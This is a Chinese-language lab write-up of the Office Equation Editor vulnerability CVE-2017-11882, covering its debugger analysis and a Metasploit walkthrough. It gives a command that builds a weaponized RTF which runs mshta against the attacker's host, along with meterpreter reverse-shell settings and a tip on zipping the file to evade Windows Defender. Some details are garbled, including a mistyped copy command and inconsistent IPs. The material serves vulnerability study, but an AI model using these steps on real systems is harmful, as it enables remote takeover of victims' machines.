Microsoft Office公式編輯器(CVE-2017-11882)漏洞分析報告

0x01 漏洞環境

Kali Linux 2017.03 + Windows 7 + Office 2016
滲透機:Kali Linux + POC代碼
靶機:Win7 + Office 2016
EQNEDT32.EXE實際上是一個com組件,是一個標準的接口,com組件:會實現一些接口,Windows下特殊exe實現了一些接口是讓其他exe調用的接口,用python的rtfobg這個組件進行查看,需要在python中安裝ole這個庫要用xp因爲win7下找不到好的jmp esp

0x02 漏洞成因

如果樣本彈出了計算器,那麼一定會存在打開進程的API,常見API有這幾個:
① WinExec
② ShellExecute
③ CreateProcess
樣本運行結果
查看這個計算機是什麼進程調用的,是office2003的計算公式調用的

0x03 影響漏洞版本

Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016

0x04 分析過程

漏洞溢出點

用od附加這個進程CreateProcessA下斷點,,cmd.exe是用命令行啓動個計算器,
棧中往上拉,call 創建進程時返回地址來自kernel32因此不是CreateProcessA啓動的,因此查看k是WinExec這個啓動的,也就是在溢出時執行的是WinExec,,,因此堆棧可能被破壞的因此要對WinExec下斷點
##定位漏洞函數
414141和430c18是自己構造的,430c18是返回地址,往上拉看到gid,41160f斷點
斷點下好後,數據窗口中跟隨查看12f1b8-12f1cc這裏面什麼時候變成41
覆蓋的指令

動態分析

0x05 利用過程

彈出網頁

漏洞利用的步驟

  1. 定立目標:彈出一個網頁
    2.編寫 shellcode修改樣本中的執行字符串改爲cmd.exe /c explorer.exe http://www.15pb.co
    3.處理好的字符串:636D642E657865202F63206578706C6F7265722E65786520687474703A2F2F7777772E313570622E636F0D0A進行樣本的覆蓋
    4、或者進行od的動態修改:要在這個函數出來時候進行修改

msf配置

①更新 Metasploit
結果:apt update; apt install metasploit-framework
②啓動msf
啓動 msf:進入msf:msfconsole,也就是大msf按table補全
③安裝所需模塊
cve-2017-11882.rb這個模塊拷貝到指定文件夾中cd cve-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat
如果命令拷貝不成功,則進行手動拷貝
④重啓
模塊拷貝成功需要重新啓動msf,要不這個模塊無法生效
##攻擊PC環境
cve-2017-11882這個模塊適合win7 32位的操作系統,smb_ms_170這個模塊適合win7 64位操作系統,實驗用於win7 32位操作系統,也就是cve-2017-11882這個模塊
##查看ip
查看kail的ip:重親打開個終端ifconfig 出來ip是192.168.0.200
查看win7的ip,Win7要把防火牆關掉:
192.168.0.176

攻擊方和被攻擊方進行通訊

首先要在同一個網段上,kail:192.168.0.200,,,查看win7的ip,Win7要把防火牆關掉:
192.168.0.176 看這倆個機器是否能ping通,,在kail上ping 192.168.0.176,在Win7上ping 192.168.0.200
kail在新打開的終端上進行ping

攻擊pc445端口

win7 32位操作系統的445端口是否打開netstat -ano -p tcp | find “445” >nul 2>nul && echo 445
netstat -an 或者是netstat -ano

0x06 生成攻擊文件

桌面除了rb還有pyth腳本,pryth是這條指令寫進去
下邊命令ip是kail
python CVE-2017-11882.py -c “mshta.exe http://192.168.0.200:8080/11882” -o 1.rtf ,,, -c是要輸出的指令,1.rtf是生成的
右鍵1.rtf壓縮這個文件夾要不就給殺掉,windows defat,1.rtf拷貝到Win7下的雙擊
將壓縮好的1.zip拷貝到真機,拷貝到要攻擊的pc上,

msf

search 漏洞利用模塊命令: search cve-2017-11882
使用對應漏洞利用模塊
use exploit/windows/fileformat/cve-2017-11882
設置漏洞利用信息
包括 payload 類型、IP、端口等set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.200(Kail 系統的 IP)
set lport 4444
set uripath 11882 設置路徑訪問時候192.168.0.95:8080/11882這樣進行訪問的
show options(顯示必要設置的選項,查看有無漏

開始攻擊

Exploit/run,等待後門程序回連,然後攻擊的pc要打開1.rtf
在這裏插入圖片描述

0x07 結果

在這裏插入圖片描述在這裏插入圖片描述 # 0x07 參考文獻
[1]《高端調試》張銀奎 著
[2]《0day安全:軟件漏洞分析技術(第2版)》 王清 著

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章